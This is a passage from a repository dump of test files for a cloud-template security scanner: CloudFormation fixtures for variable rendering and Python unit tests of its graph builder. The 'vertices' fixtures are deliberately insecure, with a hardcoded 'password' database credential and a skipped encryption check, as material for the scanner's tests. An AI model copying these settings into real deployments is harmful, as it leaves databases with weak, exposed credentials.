    "content": "{\n    \"AWSTemplateFormatVersion\": \"2010-09-09\",\n    \"Parameters\": {\n        \"DbSubnetIpBlocks\": {\n            \"Description\": \"Comma-delimited list of three CIDR blocks\",\n            \"Type\": \"CommaDelimitedList\",\n            \"Default\": \"10.0.48.0/24, 10.0.112.0/24, 10.0.176.0/24\"\n        }\n    },\n    \"Resources\": {\n        \"VPC\": {\n            \"Type\": \"AWS::EC2::VPC\",\n            \"Properties\": {\n                \"CidrBlock\": \"172.16.0.0/16\",\n                \"EnableDnsSupport\": true,\n                \"EnableDnsHostnames\": true\n            }\n        },\n        \"Subnet0\": {\n            \"Type\": \"AWS::EC2::Subnet\",\n            \"Properties\": {\n                \"VpcId\": {\n                    \"Ref\": \"VPC\"\n                },\n                \"CidrBlock\": {\n                    \"Fn::Select\": [\n                        0,\n                        {\n                            \"Ref\": \"DbSubnetIpBlocks\"\n                        }\n                    ]\n                }\n            }\n        }\n    },\n    \"Outputs\": {\n        \"GrapesSelect\": {\n            \"Description\": \"Grapes Select\",\n            \"Value\": {\n                \"Fn::Select\": [\n                    \"1\",\n                    [\n                        \"apples\",\n                        \"grapes\",\n                        \"oranges\",\n                        \"mangoes\"\n                    ]\n                ]\n            }\n        },\n        \"OutOfBoundSelect\": {\n            \"Description\": \"Out of Bound Select\",\n            \"Value\": {\n                \"Fn::Select\": [\n                    \"7\",\n                    [\n                        \"apples\",\n                        \"grapes\",\n                        \"oranges\",\n                        \"mangoes\"\n                    ]\n                ]\n            }\n        }\n    }\n}"
  },
  {
    "path": "tests/cloudformation/graph/graph_builder/resources/variable_rendering/render_select/yaml/test.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nParameters:\n  DbSubnetIpBlocks:\n    Description: \"Comma-delimited list of three CIDR blocks\"\n    Type: CommaDelimitedList\n    Default: \"10.0.48.0/24, 10.0.112.0/24, 10.0.176.0/24\"\nResources:\n  VPC:\n    Type: 'AWS::EC2::VPC'\n    Properties:\n      CidrBlock: 172.16.0.0/16\n      EnableDnsSupport: true\n      EnableDnsHostnames: true\n  Subnet0:\n    Type: \"AWS::EC2::Subnet\"\n    Properties:\n      VpcId: !Ref VPC\n      CidrBlock: !Select [ 0, !Ref DbSubnetIpBlocks ]\nOutputs:\n  GrapesSelect:\n    Description: Grapes Select\n    Value: !Select [ \"1\", [ \"apples\", \"grapes\", \"oranges\", \"mangoes\" ] ]\n  OutOfBoundSelect:\n    Description: Out of Bound Select\n    Value: !Select [ \"7\", [ \"apples\", \"grapes\", \"oranges\", \"mangoes\" ] ]"
  },
  {
    "path": "tests/cloudformation/graph/graph_builder/resources/variable_rendering/render_sub/json/test.json",
    "content": "{\n    \"AWSTemplateFormatVersion\": \"2010-09-09\",\n    \"Parameters\": {\n        \"CompanyName\": {\n            \"Description\": \"Company Name\",\n            \"Type\": \"String\",\n            \"Default\": \"acme\"\n        },\n        \"Environment\": {\n            \"Description\": \"Environment\",\n            \"Type\": \"String\"\n        }\n    },\n    \"Resources\": {\n        \"WebVPC\": {\n            \"Type\": \"AWS::EC2::VPC\",\n            \"Properties\": {\n                \"CidrBlock\": \"172.16.0.0/16\",\n                \"EnableDnsSupport\": true,\n                \"EnableDnsHostnames\": true\n            }\n        },\n        \"DefaultDB\": {\n            \"Type\": \"AWS::RDS::DBInstance\",\n            \"Properties\": {\n                \"DBName\": {\n                    \"Fn::Sub\": \"rds-${CompanyName}-${Environment}\"\n                },\n                \"DBInstanceClass\": \"db.m4.large\"\n            }\n        }\n    },\n    \"Outputs\": {\n        \"DBEndpoint\": {\n            \"Description\": \"DB Endpoint\",\n            \"Value\": {\n                \"Fn::Sub\": \"${DefaultDB.Endpoint.Address}:${DefaultDB.Endpoint.Port}\"\n            }\n        },\n        \"WebVPCCidrBlock\": {\n            \"Description\": \"WebVPC Cidr Block\",\n            \"Value\": {\n                \"Fn::Sub\": \"${WebVPC.CidrBlock}\"\n            }\n        },\n        \"CidrBlockAssociations\": {\n            \"Description\": \"WebVPC Cidr Block Associations\",\n            \"Value\": {\n                \"Fn::Sub\": \"${WebVPC.CidrBlockAssociations}\"\n            }\n        },\n        \"DefaultDBName\": {\n            \"Description\": \"DefaultDB Name\",\n            \"Value\": {\n                \"Fn::Sub\": \"rds-${CompanyName}-${Environment}\"\n            }\n        }\n    }\n}"
  },
  {
    "path": "tests/cloudformation/graph/graph_builder/resources/variable_rendering/render_sub/yaml/test.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nParameters:\n  CompanyName:\n    Description: Company Name\n    Type: String\n    Default: acme\n  Environment:\n    Description: Environment\n    Type: String\nResources:\n  WebVPC:\n    Type: 'AWS::EC2::VPC'\n    Properties:\n      CidrBlock: 172.16.0.0/16\n      EnableDnsSupport: true\n      EnableDnsHostnames: true\n  DefaultDB:\n    Type: AWS::RDS::DBInstance\n    Properties:\n      DBName: !Sub \"rds-${CompanyName}-${Environment}\"\n      DBInstanceClass: \"db.m4.large\"\nOutputs:\n  DBEndpoint:\n    Description: DB Endpoint\n    Value: !Sub ${DefaultDB.Endpoint.Address}:${DefaultDB.Endpoint.Port}\n  WebVPCCidrBlock:\n    Description: WebVPC Cidr Block\n    Value: !Sub ${WebVPC.CidrBlock}\n  CidrBlockAssociations:\n    Description: WebVPC Cidr Block Associations\n    Value: !Sub ${WebVPC.CidrBlockAssociations}\n  DefaultDBName:\n    Description: DefaultDB Name\n    Value: !Sub \"rds-${CompanyName}-${Environment}\"\n\n"
  },
  {
    "path": "tests/cloudformation/graph/graph_builder/resources/variable_rendering/render_subsequent_evals/json/test.json",
    "content": "{\n    \"AWSTemplateFormatVersion\": \"2010-09-09\",\n    \"Parameters\": {\n        \"CidrBlock\": {\n            \"Description\": \"CIDR Block\",\n            \"Type\": \"String\",\n            \"Default\": \"172.16.0.0/16\"\n        }\n    },\n    \"Resources\": {\n        \"WebVPC\": {\n            \"Type\": \"AWS::EC2::VPC\",\n            \"Properties\": {\n                \"CidrBlock\": {\n                    \"Ref\": \"CidrBlock\"\n                },\n                \"EnableDnsSupport\": true,\n                \"EnableDnsHostnames\": true\n            }\n        },\n        \"MySG\": {\n            \"Type\": \"AWS::EC2::SecurityGroup\",\n            \"Properties\": {\n                \"GroupName\": \"sg_group_name\",\n                \"GroupDescription\": \"sg_group_description\",\n                \"VpcId\": {\n                    \"Ref\": \"WebVPC\"\n                },\n                \"SecurityGroupIngress\": [\n                    {\n                        \"IpProtocol\": \"tcp\",\n                        \"FromPort\": 3306,\n                        \"ToPort\": 3306,\n                        \"CidrIp\": {\n                            \"Fn::GetAtt\": [\n                                \"WebVPC\",\n                                \"CidrBlock\"\n                            ]\n                        }\n                    }\n                ]\n            }\n        }\n    }\n}"
  },
  {
    "path": "tests/cloudformation/graph/graph_builder/resources/variable_rendering/render_subsequent_evals/yaml/test.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nParameters:\n  CidrBlock:\n    Description: CIDR Block\n    Type: String\n    Default: 172.16.0.0/16\nResources:\n  WebVPC:\n    Type: 'AWS::EC2::VPC'\n    Properties:\n      CidrBlock: !Ref CidrBlock\n      EnableDnsSupport: true\n      EnableDnsHostnames: true\n  MySG:\n    Type: 'AWS::EC2::SecurityGroup'\n    Properties:\n      GroupName: sg_group_name\n      GroupDescription: sg_group_description\n      VpcId: !Ref WebVPC\n      SecurityGroupIngress:\n        - IpProtocol: tcp\n          FromPort: 3306\n          ToPort: 3306\n          CidrIp: !GetAtt\n            - WebVPC\n            - CidrBlock"
  },
  {
    "path": "tests/cloudformation/graph/graph_builder/resources/vertices/test.json",
    "content": "{\n  \"AWSTemplateFormatVersion\" : \"2010-09-09\",\n  \"Description\": \"AWS CloudFormation Template to deploy insecure infrastructure\",\n  \"Parameters\": {\n    \"KmsMasterKeyId\": {\n      \"Description\": \"Company Name\",\n      \"Type\": \"String\",\n      \"Default\": \"kms_id\"\n    },\n    \"DBName\": {\n      \"Description\": \"Name of the Database\",\n      \"Type\": \"String\",\n      \"Default\": \"db\"\n    }\n  },\n  \"Resources\": {\n    \"MySourceQueue\": {\n      \"Type\": \"AWS::SQS::Queue\",\n      \"Properties\": {\n        \"KmsMasterKeyId\": { \"Ref\": \"KmsMasterKeyId\" }\n      }\n    },\n    \"MyDB\": {\n      \"Type\": \"AWS::RDS::DBInstance\",\n      \"Properties\": {\n        \"DBName\": { \"Ref\": \"DBName\" },\n        \"DBInstanceClass\": \"db.t3.micro\",\n        \"Engine\": \"mysql\",\n        \"MasterUsername\": \"master\",\n        \"MasterUserPassword\": \"password\"\n      }\n    }\n  },\n  \"Outputs\": {\n    \"DBAppPublicDNS\": {\n      \"Description\": \"DB App Public DNS Name\",\n      \"Value\": { \"Fn::GetAtt\" : [ \"MyDB\", \"PublicDnsName\" ] }\n    }\n  }\n}"
  },
  {
    "path": "tests/cloudformation/graph/graph_builder/resources/vertices/test.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nDescription: AWS CloudFormation Template to deploy insecure infrastructure\nParameters:\n  KmsMasterKeyId:\n    Description: Company Name\n    Type: String\n    Default: kms_id\n  DBName:\n    Description: Name of the Database\n    Type: String\n    Default: db1\nResources:\n  MySourceQueue:\n    Type: AWS::SQS::Queue\n    Properties:\n      KmsMasterKeyId: !Ref KmsMasterKeyId\n  MyDB:\n    Type: 'AWS::RDS::DBInstance'\n    # Test case for check skip via comment\n    # checkov:skip=CKV_AWS_16:Ensure all data stored in the RDS is securely encrypted at rest\n    Properties:\n      DBName: !Ref DBName\n      DBInstanceClass: 'db.t3.micro'\n      Engine: 'mysql'\n      MasterUsername: 'master'\n      MasterUserPassword: 'password'\nOutputs:\n  DBAppPublicDNS:\n    Description: DB App Public DNS Name\n    Value: !GetAtt [ MyDB, PublicDnsName ]\n"
  },
  {
    "path": "tests/cloudformation/graph/graph_builder/test_blocks.py",
    "content": "from unittest import TestCase\n\nfrom checkov.cloudformation.graph_builder.graph_components.block_types import BlockType\nfrom checkov.cloudformation.graph_builder.graph_components.blocks import CloudformationBlock\n\n\nclass TestBlocks(TestCase):\n    def test_update_complex_key(self):\n        config = {'labels': [{'app.kubernetes.io/name': '${local.name}', 'app.kubernetes.io/instance': 'hpa',\n                              'app.kubernetes.io/version': '1.0.0', 'app.kubernetes.io/managed-by': 'terraform'}]}\n        attributes = {'labels': {'app.kubernetes.io/name': '${local.name}', 'app.kubernetes.io/instance': 'hpa',\n                                 'app.kubernetes.io/version': '1.0.0', 'app.kubernetes.io/managed-by': 'terraform'},\n                      'labels.app.kubernetes.io/name': '${local.name}', 'labels.app.kubernetes.io/instance': 'hpa',\n                      'labels.app.kubernetes.io/version': '1.0.0', 'labels.app.kubernetes.io/managed-by': 'terraform'}\n        block = CloudformationBlock(name='test_local_name', config=config, path='', block_type=BlockType.RESOURCE,\n                               attributes=attributes)\n\n        block.update_attribute(attribute_key=\"labels.app.kubernetes.io/name\", change_origin_id=0,\n                                           attribute_value=\"dummy value\", previous_breadcrumbs=[], attribute_at_dest=\"\")\n        self.assertEqual(\"dummy value\", block.attributes[\"labels.app.kubernetes.io/name\"])\n"
  },
  {
    "path": "tests/cloudformation/graph/graph_builder/test_local_graph.py",
    "content": "import os\nfrom pathlib import Path\nfrom unittest import TestCase\nfrom checkov.common.graph.graph_builder.graph_components.attribute_names import CustomAttributes\nfrom checkov.cloudformation.cfn_utils import create_definitions\nfrom checkov.cloudformation.graph_builder.graph_components.block_types import BlockType\nfrom checkov.cloudformation.graph_builder.graph_to_definitions import convert_graph_vertices_to_definitions\nfrom checkov.cloudformation.graph_builder.graph_components.generic_resource_encryption import ENCRYPTION_BY_RESOURCE_TYPE\nfrom checkov.cloudformation.graph_builder.local_graph import CloudformationLocalGraph\nfrom checkov.common.graph.graph_builder import EncryptionValues, EncryptionTypes\nfrom checkov.cloudformation.parser import parse, TemplateSections\nfrom checkov.runner_filter import RunnerFilter\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\nclass TestLocalGraph(TestCase):\n    def test_build_graph_with_single_resource(self):\n        relative_file_path = \"../../checks/resource/aws/example_APIGatewayXray/APIGatewayXray-PASSED.yaml\"\n        definitions = {}\n        file = os.path.realpath(os.path.join(TEST_DIRNAME, relative_file_path))\n        (definitions[relative_file_path], definitions_raw) = parse(file)\n        local_graph = CloudformationLocalGraph(definitions)\n        local_graph.build_graph(render_variables=False)\n        self.assertEqual(1, len(local_graph.vertices))\n        self.assertEqual(0, len(local_graph.edges))\n        resource_vertex = local_graph.vertices[0]\n        self.assertEqual(\"AWS::ApiGateway::Stage.Enabled\", resource_vertex.name)\n        self.assertEqual(\"AWS::ApiGateway::Stage.Enabled\", resource_vertex.id)\n        self.assertEqual(BlockType.RESOURCE, resource_vertex.block_type)\n        self.assertEqual(\"CloudFormation\", resource_vertex.source)\n        self.assertDictEqual(definitions[relative_file_path][\"Resources\"][\"Enabled\"][\"Properties\"],\n                             resource_vertex.attributes)\n\n    def test_build_graph_with_params_outputs(self):\n        relative_file_path = \"../../checks/resource/aws/example_IAMRoleAllowAssumeFromAccount/example_IAMRoleAllowAssumeFromAccount-PASSED-2.yml\"\n        definitions = {}\n        file = os.path.realpath(os.path.join(TEST_DIRNAME, relative_file_path))\n        (definitions[relative_file_path], definitions_raw) = parse(file)\n        local_graph = CloudformationLocalGraph(definitions)\n        local_graph.build_graph(render_variables=False)\n        self.assertEqual(len(local_graph.vertices), 57)\n        self.assertEqual(len([v for v in local_graph.vertices if v.block_type == BlockType.CONDITIONS]), 2)\n        self.assertEqual(len([v for v in local_graph.vertices if v.block_type == BlockType.RESOURCE]), 16)\n        self.assertEqual(len([v for v in local_graph.vertices if v.block_type == BlockType.PARAMETERS]), 30)\n        self.assertEqual(len([v for v in local_graph.vertices if v.block_type == BlockType.OUTPUTS]), 8)\n        self.assertEqual(len([v for v in local_graph.vertices if v.block_type == BlockType.MAPPINGS]), 1)\n\n    def test_vertices_from_local_graph(self):\n        resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, './resources/vertices'))\n        definitions, _ = create_definitions(root_folder=resources_dir, files=None, runner_filter=RunnerFilter())\n        local_graph = CloudformationLocalGraph(definitions)\n        local_graph.build_graph(render_variables=False)\n        definitions, breadcrumbs = convert_graph_vertices_to_definitions(local_graph.vertices, resources_dir)\n\n        self.assertIsNotNone(definitions)\n        self.assertEqual(len(definitions.items()), 2)\n\n        test_yaml_definitions = definitions[os.path.join(resources_dir, 'test.yaml')][TemplateSections.RESOURCES]\n        self.assertEqual(len(test_yaml_definitions.keys()), 2)\n        self.assertIn('MyDB', test_yaml_definitions.keys())\n        self.assertIn('MySourceQueue', test_yaml_definitions.keys())\n\n        test_json_definitions = definitions[os.path.join(resources_dir, 'test.json')][TemplateSections.RESOURCES]\n        self.assertEqual(len(test_json_definitions.keys()), 2)\n        self.assertIn('MyDB', test_json_definitions.keys())\n        self.assertIn('MySourceQueue', test_json_definitions.keys())\n\n        self.assertIsNotNone(breadcrumbs)\n        self.assertDictEqual(breadcrumbs, {})  # Will be changed when we add breadcrumbs to cfn vertices\n\n    def test_yaml_conditioned_vertices_from_local_graph(self):\n        root_dir = os.path.realpath(os.path.join(TEST_DIRNAME, './resources/conditioned_vertices/yaml'))\n        file_name = 'test.yaml'\n        self.validate_conditioned_vertices_from_local_graph(root_dir, file_name)\n\n    def test_json_conditioned_vertices_from_local_graph(self):\n        root_dir = os.path.realpath(os.path.join(TEST_DIRNAME, './resources/conditioned_vertices/json'))\n        file_name = 'test.json'\n        self.validate_conditioned_vertices_from_local_graph(root_dir, file_name)\n\n    def validate_conditioned_vertices_from_local_graph(self, root_dir, file_name):\n        true_condition_resources = {'BucketFnEqualsTrue', 'BucketFnNotTrue', 'BucketFnNotTrueThroughCondition',\n                             'BucketFnAndTrue', 'BucketFnAndTrueWithCondition',\n                             'BucketFnOrTrue', 'BucketFnOrTrueWithCondition'}\n        definitions, _ = create_definitions(root_folder=root_dir, files=None, runner_filter=RunnerFilter())\n        local_graph = CloudformationLocalGraph(definitions)\n        local_graph.build_graph(render_variables=True)\n        definitions, breadcrumbs = convert_graph_vertices_to_definitions(local_graph.vertices, root_dir)\n\n        self.assertIsNotNone(definitions)\n        self.assertEqual(len(definitions.items()), 1)\n\n        test_yaml_definitions = definitions[os.path.join(root_dir, file_name)][TemplateSections.RESOURCES]\n        definitions_set = set(test_yaml_definitions.keys())\n        self.assertEqual(len(definitions_set), 7)\n        self.assertSetEqual(true_condition_resources, definitions_set)\n\n    def test_yaml_edges(self):\n        root_dir = os.path.realpath(os.path.join(TEST_DIRNAME, 'resources/edges_yaml'))\n        self.validate_edges_count(root_dir)\n\n    def test_json_edges(self):\n        root_dir = os.path.realpath(os.path.join(TEST_DIRNAME, 'resources/edges_json'))\n        self.validate_edges_count(root_dir)\n\n    def validate_edges_count(self, root_dir) -> None:\n        expected_out_edges_count = {\n            'parameters.EnvType': 0,\n            'parameters.DataBucketName': 0,\n            'mappings.RegionMap': 0,\n            'conditions.CreateProdResources': 1,\n            'conditions.CreateDevResources': 1,\n            'AWS::EC2::Instance.EC2Instance': 4,\n            'AWS::EC2::VolumeAttachment.MountPoint': 3,\n            'AWS::EC2::Volume.NewVolume': 2,\n            'AWS::S3::Bucket.DataBucket': 4,\n            'outputs.EC2InstanceId': 1,\n            'outputs.EC2PublicDNS': 1,\n            'outputs.DataBucketUniqueId': 2\n        }\n\n        expected_in_edges_count = {\n            'parameters.EnvType': 4,\n            'parameters.DataBucketName': 3,\n            'mappings.RegionMap': 1,\n            'conditions.CreateProdResources': 3,\n            'conditions.CreateDevResources': 1,\n            'AWS::EC2::Instance.EC2Instance': 5,\n            'AWS::EC2::VolumeAttachment.MountPoint': 0,\n            'AWS::EC2::Volume.NewVolume': 1,\n            'AWS::S3::Bucket.DataBucket': 1,\n            'outputs.EC2InstanceId': 0,\n            'outputs.EC2PublicDNS': 0,\n            'outputs.DataBucketUniqueId': 0\n        }\n\n        definitions, _ = create_definitions(root_folder=root_dir, files=None, runner_filter=RunnerFilter())\n        local_graph = CloudformationLocalGraph(definitions)\n        local_graph.build_graph(render_variables=False)\n        idx_to_vertex_id = {idx: vertex.id for idx, vertex in enumerate(local_graph.vertices)}\n\n        # we check that each entity in the template file has the right amount of out edges_yaml\n        out_edges_overall_count = 0\n        for vertex_index, actual_out_edges in local_graph.out_edges.items():\n            vertex_id = idx_to_vertex_id[vertex_index]\n            self.assertEqual(len(actual_out_edges), expected_out_edges_count[vertex_id], f'{vertex_id} actually has {len(actual_out_edges)} outgoing edges, not {expected_out_edges_count[vertex_id]}')\n            out_edges_overall_count += len(actual_out_edges)\n\n        # we check that each entity in the template file has the right amount of in edges_yaml\n        in_edges_overall_count = 0\n        for vertex_index, actual_in_edges in local_graph.in_edges.items():\n            vertex_id = idx_to_vertex_id[vertex_index]\n            self.assertEqual(len(actual_in_edges), expected_in_edges_count[vertex_id], f'{vertex_id} actually has {len(actual_in_edges)} outgoing edges, not {expected_in_edges_count[vertex_id]}')\n            in_edges_overall_count += len(actual_in_edges)\n\n        # we check that the overall amount of out edges_yaml equals the overall amount of in edges_yaml\n        # and the overall amount of edges_yaml\n        self.assertEqual(out_edges_overall_count, in_edges_overall_count)\n        self.assertEqual(out_edges_overall_count, len(local_graph.edges))\n\n    def test_build_graph_with_sam_resource(self):\n        sam_file_path = Path(TEST_DIRNAME) / \"resources/sam/template.yaml\"\n\n        definitions, _ = create_definitions(root_folder=\"\", files=[str(sam_file_path)], runner_filter=RunnerFilter())\n        local_graph = CloudformationLocalGraph(definitions)\n        local_graph.build_graph(render_variables=False)\n\n        self.assertEqual(len(local_graph.vertices), 8)\n        self.assertEqual(len([v for v in local_graph.vertices if v.block_type == BlockType.GLOBALS]), 1)\n        self.assertEqual(len([v for v in local_graph.vertices if v.block_type == BlockType.RESOURCE]), 3)\n        self.assertEqual(len([v for v in local_graph.vertices if v.block_type == BlockType.OUTPUTS]), 1)\n        self.assertEqual(len([v for v in local_graph.vertices if v.block_type == BlockType.MAPPINGS]), 1)\n\n        function_1_index = local_graph.vertices_block_name_map[\"resource\"][\"AWS::Serverless::Function.Function1\"][0]\n        function_2_index = local_graph.vertices_block_name_map[\"resource\"][\"AWS::Serverless::Function.Function2\"][0]\n        function_1_vertex = local_graph.vertices[function_1_index]\n        function_2_vertex = local_graph.vertices[function_2_index]\n\n        # SAM Globals are now compiled into the resources\n        expected_changes = [\n            \"Environment.Variables\",\n            \"Environment.Variables.QUEUE_URL\",\n            \"Environment.Variables.QUEUE_URL.Fn::If\",\n            \"VpcConfig.SecurityGroupIds\",\n            \"VpcConfig.SubnetIds\",\n        ]\n        self.assertCountEqual(expected_changes, function_1_vertex.changed_attributes.keys())\n        self.assertCountEqual(expected_changes, function_2_vertex.changed_attributes.keys())\n\n        self.assertEqual(\"src/\", function_1_vertex.attributes[\"CodeUri\"])\n        self.assertEqual(\"python3.9\", function_1_vertex.attributes[\"Runtime\"])\n        self.assertEqual(5, function_1_vertex.attributes[\"Timeout\"])\n        self.assertEqual(\"Active\", function_1_vertex.attributes[\"Tracing\"])\n        self.assertEqual(\"hello\", function_1_vertex.attributes[\"Environment\"][\"Variables\"][\"NEW_VAR\"])\n        self.assertEqual(\"Production\", function_1_vertex.attributes[\"Environment\"][\"Variables\"][\"STAGE\"])\n        self.assertEqual(\"resource-table\", function_1_vertex.attributes[\"Environment\"][\"Variables\"][\"TABLE_NAME\"])\n        self.assertEqual(['sg-123', 'sg-456', 'sg-first'], function_1_vertex.attributes[\"VpcConfig\"][\"SecurityGroupIds\"])\n        self.assertEqual(['subnet-123', 'subnet-456'], function_1_vertex.attributes[\"VpcConfig\"][\"SubnetIds\"])\n\n        self.assertEqual(\"src/\", function_2_vertex.attributes[\"CodeUri\"])\n        self.assertEqual(\"python3.9\", function_2_vertex.attributes[\"Runtime\"])\n        self.assertEqual(5, function_2_vertex.attributes[\"Timeout\"])\n        self.assertEqual(\"Active\", function_2_vertex.attributes[\"Tracing\"])\n        self.assertEqual(\"Production\", function_2_vertex.attributes[\"Environment\"][\"Variables\"][\"STAGE\"])\n        self.assertEqual(\"global-table\", function_2_vertex.attributes[\"Environment\"][\"Variables\"][\"TABLE_NAME\"])\n        self.assertEqual(['sg-123', 'sg-456'], function_2_vertex.attributes[\"VpcConfig\"][\"SecurityGroupIds\"])\n        self.assertEqual(['subnet-123', 'subnet-456'], function_2_vertex.attributes[\"VpcConfig\"][\"SubnetIds\"])\n\n        # check 'self' attribute is stored as 'self_'\n        mapping_index = local_graph.vertices_block_name_map[\"mappings\"][\"ServiceDiscovery\"][0]\n        mapping_vertex = local_graph.vertices[mapping_index]\n\n        attribute_dict = mapping_vertex.get_attribute_dict()\n        self.assertNotIn(\"self\", attribute_dict.keys())\n        self.assertIn(\"self_\", attribute_dict.keys())\n\n\n    def test_encryption_aws(self):\n        sam_file_path = Path(TEST_DIRNAME) / \"resources/encryption/test.json\"\n        definitions, _ = create_definitions(root_folder=\"\", files=[str(sam_file_path)], runner_filter=RunnerFilter())\n        local_graph = CloudformationLocalGraph(definitions)\n        local_graph._create_vertices()\n        local_graph.calculate_encryption_attribute(ENCRYPTION_BY_RESOURCE_TYPE)\n        all_attributes = [vertex.get_attribute_dict() for vertex in local_graph.vertices]\n        for attribute_dict in all_attributes:\n            [resource_type, resource_name] = attribute_dict[CustomAttributes.ID].split(\".\")\n            if resource_type in ENCRYPTION_BY_RESOURCE_TYPE:\n                is_encrypted = attribute_dict[CustomAttributes.ENCRYPTION]\n                details = attribute_dict[CustomAttributes.ENCRYPTION_DETAILS]\n                self.assertEqual(is_encrypted, EncryptionValues.ENCRYPTED.value if resource_name.startswith(\"Encrypted\")\n                                 else EncryptionValues.UNENCRYPTED.value, f'failed for \"{resource_type}.{resource_name}\"')\n                if is_encrypted == EncryptionValues.ENCRYPTED.value:\n                    attribute_dict_keys = '\\t'.join(list(attribute_dict.keys()))\n                    if 'KmsKeyId' in attribute_dict_keys or 'KMSMasterKeyId' in attribute_dict_keys:\n                        self.assertEqual(details, EncryptionTypes.KMS_VALUE.value, f'Bad encryption details for \"{resource_type}.{resource_name}\"')\n                    else:\n                        self.assertIn(details, [EncryptionTypes.AES256.value, EncryptionTypes.KMS_VALUE.value, EncryptionTypes.NODE_TO_NODE.value, EncryptionTypes.DEFAULT_KMS.value], f'Bad encryption details for \"{resource_type}.{resource_name}\"')\n                else:\n                    self.assertEqual(details, \"\")\n            else:\n                self.assertIsNone(attribute_dict.get(CustomAttributes.ENCRYPTION))\n                self.assertIsNone(attribute_dict.get(CustomAttributes.ENCRYPTION_DETAILS))\n"
  },
  {
    "path": "tests/cloudformation/graph/graph_builder/test_render.py",
    "content": "import os\nfrom unittest import mock\nfrom unittest.case import TestCase\n\nfrom checkov.cloudformation.graph_builder.graph_components.block_types import BlockType\nfrom checkov.cloudformation.graph_manager import CloudformationGraphManager\nfrom checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector\nfrom checkov.common.util.json_utils import get_jsonpath_from_evaluated_key\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@mock.patch.dict(os.environ, {\"RENDER_ASYNC_MAX_WORKERS\": \"50\", \"RENDER_VARIABLES_ASYNC\": \"False\"})\nclass TestRenderer(TestCase):\n    def test_render_ref(self):\n        relative_path = './resources/variable_rendering/render_ref/'\n        yaml_test_dir = os.path.realpath(os.path.join(TEST_DIRNAME, relative_path, 'yaml'))\n        json_test_dir = os.path.realpath(os.path.join(TEST_DIRNAME, relative_path, 'json'))\n        self.validate_render_ref(yaml_test_dir, 'yaml')\n        self.validate_render_ref(json_test_dir, 'json')\n\n    def validate_render_ref(self, test_dir: str, file_ext: str):\n        graph_manager = CloudformationGraphManager(db_connector=NetworkxConnector())\n        local_graph, _ = graph_manager.build_graph_from_source_directory(test_dir, render_variables=True)\n\n        db_name_default_value = \"db1\"\n\n        kms_master_key_id_expected_attributes = {'Default': None}\n        db_name_expected_attributes = {'Default': db_name_default_value}\n        my_source_queue_expected_attributes = {'KmsMasterKeyId.Ref': 'KmsMasterKeyId'}\n        my_db_expected_attributes = {'DBName': db_name_default_value}\n        my_db_instance_name_expected_attributes = {'Value.Ref': 'MyDB'}\n\n        self.compare_vertex_attributes(local_graph, kms_master_key_id_expected_attributes, BlockType.PARAMETERS, 'KmsMasterKeyId')\n        self.compare_vertex_attributes(local_graph, db_name_expected_attributes, BlockType.PARAMETERS, 'DBName')\n        self.compare_vertex_attributes(local_graph, my_source_queue_expected_attributes, BlockType.RESOURCE, 'AWS::SQS::Queue.MySourceQueue')\n        self.compare_vertex_attributes(local_graph, my_db_expected_attributes, BlockType.RESOURCE, 'AWS::RDS::DBInstance.MyDB')\n        self.compare_vertex_attributes(local_graph, my_db_instance_name_expected_attributes, BlockType.OUTPUTS, 'MyDBInstanceName')\n\n        kms_master_key_id_expected_breadcrumbs = {}\n        db_name_expected_breadcrumbs = {}\n        my_source_queue_expected_breadcrumbs = {}\n        my_db_expected_breadcrumbs = {'DBName': [{'type': BlockType.PARAMETERS, 'name': 'DBName', 'path': os.path.join(test_dir, f'test.{file_ext}'), 'attribute_key': 'Default'}]}\n        my_db_instance_name_expected_breadcrumbs = {}\n\n        self.compare_vertex_breadcrumbs(local_graph, kms_master_key_id_expected_breadcrumbs, BlockType.PARAMETERS, 'KmsMasterKeyId')\n        self.compare_vertex_breadcrumbs(local_graph, db_name_expected_breadcrumbs, BlockType.PARAMETERS, 'DBName')\n        self.compare_vertex_breadcrumbs(local_graph, my_source_queue_expected_breadcrumbs, BlockType.RESOURCE, 'AWS::SQS::Queue.MySourceQueue')\n        self.compare_vertex_breadcrumbs(local_graph, my_db_expected_breadcrumbs, BlockType.RESOURCE, 'AWS::RDS::DBInstance.MyDB')\n        self.compare_vertex_breadcrumbs(local_graph, my_db_instance_name_expected_breadcrumbs, BlockType.OUTPUTS, 'MyDBInstanceName')\n\n\n    def test_render_findinmap(self):\n        relative_path = './resources/variable_rendering/render_findinmap/'\n        yaml_test_dir = os.path.realpath(os.path.join(TEST_DIRNAME, relative_path, 'yaml'))\n        json_test_dir = os.path.realpath(os.path.join(TEST_DIRNAME, relative_path, 'json'))\n        self.validate_render_findinmap(yaml_test_dir, 'yaml')\n        self.validate_render_findinmap(json_test_dir, 'json')\n\n    def validate_render_findinmap(self, test_dir: str, file_ext: str):\n        graph_manager = CloudformationGraphManager(db_connector=NetworkxConnector())\n        local_graph, _ = graph_manager.build_graph_from_source_directory(test_dir, render_variables=True)\n\n        region_map_expected_ami_value = \"ami-0ff8a91507f77f867\"\n\n        region_map_expected_attributes = {'us-east-1.AMI': region_map_expected_ami_value}\n        ec2instance_expected_attributes = {'ImageId': region_map_expected_ami_value}\n\n        self.compare_vertex_attributes(local_graph, region_map_expected_attributes, BlockType.MAPPINGS, 'RegionMap')\n        self.compare_vertex_attributes(local_graph, ec2instance_expected_attributes, BlockType.RESOURCE, 'AWS::EC2::Instance.EC2Instance')\n\n        region_map_expected_breadcrumbs = {}\n        ec2instance_expected_breadcrumbs = {'ImageId': [{'type': BlockType.MAPPINGS, 'name': 'RegionMap', 'path': os.path.join(test_dir, f'test.{file_ext}'), 'attribute_key': 'us-east-1.AMI'}]}\n\n        self.compare_vertex_breadcrumbs(local_graph, region_map_expected_breadcrumbs, BlockType.MAPPINGS, 'RegionMap')\n        self.compare_vertex_breadcrumbs(local_graph, ec2instance_expected_breadcrumbs, BlockType.RESOURCE, 'AWS::EC2::Instance.EC2Instance')\n\n\n    def test_render_getatt(self):\n        relative_path = './resources/variable_rendering/render_getatt/'\n        yaml_test_dir = os.path.realpath(os.path.join(TEST_DIRNAME, relative_path, 'yaml'))\n        json_test_dir = 